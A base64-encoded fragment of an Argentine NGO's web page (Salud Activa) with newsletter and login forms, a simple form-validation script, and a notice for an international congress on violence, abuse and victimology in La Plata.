laWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+CjxTQ1JJUFQgTEFOR1VBR0U9IkphdmFTY3JpcHQiPgpmdW5jdGlvbiBpc0VtcHR5KHMpIHsKICByZXR1cm4gKChzID09IG51bGwpIHx8IChzLmxlbmd0aCA9PSAwKSkKfQoKZnVuY3Rpb24gaXNFbWFpbEFkZHJlc3MocykgewoJLy92YXIgZmlsdGVyPS9eW0EtWmEtel1bQS1aYS16MC05X10qQFtBLVphLXowLTlfXStcLltBLVphLXowLTlfLl0rW0EtemEtel0kLzsKCXZhciBmaWx0ZXI9L15cdysoW1wuLV0/XHcrKSpAXHcrKFtcLi1dP1x3KykqKFwuXHd7MiwzfSkrJC87CglpZiAocy5sZW5ndGggPT0gMCApIHJldHVybiB0cnVlOwoJaWYgKGZpbHRlci50ZXN0KHMpKSB7CgkJcmV0dXJuIHRydWU7Cgl9IGVsc2UgewoJCXJldHVybiBmYWxzZTsKCX0KfQoKZnVuY3Rpb24gdmFsaWRhcihvYmopIHsKICAgCiAgICBlcnJvcnMgPSAiIjsKICAgIAogICAgLy9Ob21icmUKICAgIGlmIChpc0VtcHR5KG9iai5ub21icmUudmFsdWUpKSB7CiAgICAgIGVycm9ycyArPSAiXG4tIEVsIE5vbWJyZSBlc3RhIHZhY2lvIjsKICAgIH0KCS8vRW1haWwKICAgIGlmIChpc0VtcHR5KG9iai5lbWFpbC52YWx1ZSkpIHsKICAgICAgZXJyb3JzICs9ICJcbi0gRWwgRW1haWwgZXN0YSB2YWNpbyI7CiAgICB9IGVsc2UgewoJCWlmIChpc0VtYWlsQWRkcmVzcyhvYmouZW1haWwudmFsdWUpID09IGZhbHNlKSB7CgkJCWVycm9ycyArPSAiXG4tIEVsIEVtYWlsIGluZ3Jlc2FkbyBlcyBpbmNvcnJlY3RvIjsKCQl9Cgl9CiAgICAvL0NvbWVudGFyaW8KICAgIGlmIChpc0VtcHR5KG9iai5jb21lbnRhcmlvLnZhbHVlKSkgewogICAgICBlcnJvcnMgKz0gIlxuLSBFbCBDb21lbnRhcmlvIGVzdGEgdmFjaW8iOwogICAgfQogICAgCiAgICBpZiAoIShlcnJvcnM9PSIiKSl7CgkJbXNnID0gIl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX1xuXG5MYSByZWdpc3RyYWNp824gbm8gZnVlIGxsZXZhZGEgYSBjYWJvIHBvciBjYXVzYSBkZSBsb3Mgc2lndWllbnRlcyBlcnJvcmVzLlxuUG9yIGZhdm9yLCBjb3Jy7WphbG9zIHkgdnVlbHZhIGEgZW52aWFyLlxuX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXG4iOwoJCWlmIChlcnJvcnMhPSIiKXsKCQkJbXNnICs9IGVycm9yczsKCQl9CgkJYWxlcnQobXNnKTsKCQlyZXR1cm4gZmFsc2U7Cgl9ZWxzZXsKCSAgCgkgIG9iai5yZWNhcHRjaGFfY2hhbGxlbmdlX2ZpZWxkX2QudmFsdWUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVjYXB0Y2hhX2NoYWxsZW5nZV9maWVsZCcpLnZhbHVlOwoJICBvYmoucmVjYXB0Y2hhX3Jlc3BvbnNlX2ZpZWxkX2QudmFsdWUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVjYXB0Y2hhX3Jlc3BvbnNlX2ZpZWxkJykudmFsdWU7CgkgIAoJICByZXR1cm4gdHJ1ZTsKCX0KfQo8L1NDUklQVD4KPHN0eWxlPgojYXBlbGxpZG8gewogICAgZGlzcGxheTogbm9uZTsKfQojYWRkcmVzcyB7CiAgICBkaXNwbGF5OiBub25lOwp9Cjwvc3R5bGU+Cjx0YWJsZSB3aWR0aD0iNTk2IiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+Cjx0ciBhbGlnbj0iY2VudGVyIj4KICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMDcuanBnIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzUlIiBhbGlnbj0iY2VudGVyIj48YSBocmVmPSJqYXZhc2NyaXB0OjsiIG9uQ2xpY2s9IndpbmRvdy5vcGVuKCdpbXByaW1pci5waHA/bm90YT0zMDEnLCAnbm90YV9pbXByaW1pcicsICdyZXNpemFibGU9MSxzY3JvbGxiYXJzPTEnKSI+PGltZyBzcmM9ImltZy9pY29ub3Mtbm90YV8wOC5qcGciIHdpZHRoPSI5OCIgaGVpZ2h0PSI0NCIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzMiUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNyZhbXA7aWRwYWc9MTQiPjxpbWcgc3JjPSJpbWcvaWNvbm9zLW5vdGFfMDUuanBnIiB3aWR0aD0iMTIzIiBoZWlnaHQ9IjQ3IiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMzJSI+PGltZyBzcmM9ImltZy9pY29ub3Mtbm90YV8wMy5qcGciIHdpZHRoPSIxMDgiIGhlaWdodD0iNDgiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwNDIwMTMuMS5qcGciIHdpZHRoPSI0MjAiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KCQkJCSAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+CiAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMTUiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4yMi8xMS8yMDEzPGJyPjxzcGFuIGNsYXNzPSJ0cmFiVElUIj48Zm9udCBmYWNlPSJHZW9yZ2lhLCBUaW1lcyBOZXcgUm9tYW4sIFRpbWVzLCBzZXJpZiI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L2ZvbnQ+PGJyIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRlbmlkbyI+PHN0cm9uZz48Zm9udCBzaXplPSIxIj5WaWN0aW1vbG9n7WEsIENyaW1pbm9sb2ftYSB5IEfpbmVyby4gVW5hIHRyaWxvZ+1hIGNvbXBsZWphPC9mb250Pjwvc3Ryb25nPjwvc3Bhbj48L3NwYW4+PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxkaXYgY2xhc3M9ImRlc3RhY2Fkb3MiPjxwPiZuYnNwOzwvcD4NCjxwPjE0LCAxNSB5IDE2IGRlIE5vdmllbWJyZTwvcD4NCjxwPjxzdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+T3JnYW5pemE6IFNhbHVkIEFjdGl2YTwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij5BcXVlbGxvcyBpbnNjcmlwdG9zIGFsIHBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGhhc3RhIGVsIDMwLzA1LzIwMTMsIHB1ZGVuIGFjY2VkZXIgYSBpbXBvcnRhbnRlcyBkZXNjdWVudG9zIGVuIGxhIGluc2NyaXBjaSZvYWN1dGU7biBkZWwgY29uZ3Jlc28uPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2kmb2FjdXRlO246IFVuaXZlcnNpZGFkIGRlbCBFc3RlLCBDYWxsZSAyIE4mb3JkbTsgNjg0LCBMYSBQbGF0YSwgQnVlbm9zIEFpcmVzPC9wPg0KPHA+PHN0cm9uZz48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjAwMDA7Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOiB4LXNtYWxsOyI+SU5TQ1JJUENJT05FUyBDT04gREVTQ1VFTlRPIEhBU1RBIEVMIDI3IERFIEFHT1NUTyEhISE8L3NwYW4+PC9zcGFuPjwvc3Ryb25nPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tIiB0YXJnZXQ9Il9ibGFuayI+bWFzIGluZm9ybWFjaW9uPC9hPjwvcD4NCjxwPiZuYnNwOzwvcD48L2Rpdj4gPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCiAgICAJCQkJCSAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjQyMCIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDYiIHZhbGlnbj0iYm90dG9tIj4KCQkJCQkgIAkJCQkJICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzMTMiIHZhbGlnbj0ibWlkZGxlIj4KCQkJCQkgIAkJCQkJICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJib3R0b20iPjxhIGhyZWY9ImluZGV4LnBocCIgY2xhc3M9ImJvdG9uIj4mbHQ7Jmx0O1ZPTFZFUjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkID48L3RkPgogICAgICAgICAgICAgICAgPC90cj4KCgkJCQk8Zm9ybSBuYW1lPSJmb3JtdV9jb21lbnRhcmlvIiBhY3Rpb249Imd1YXJkYXJfZGFuaS5waHAiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9InJldHVybiB2YWxpZGFyKHRoaXMpOyI+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY2MiIHZhbHVlPSJndWFyZGFyX2NvbWVudGFyaW8iPgoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibm90YSIgdmFsdWU9IjMwMSI+CgkJCQkKCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlY2FwdGNoYV9jaGFsbGVuZ2VfZmllbGRfZCIgdmFsdWU9IiI+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWNhcHRjaGFfcmVzcG9uc2VfZmllbGRfZCIgdmFsdWU9IiI+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgI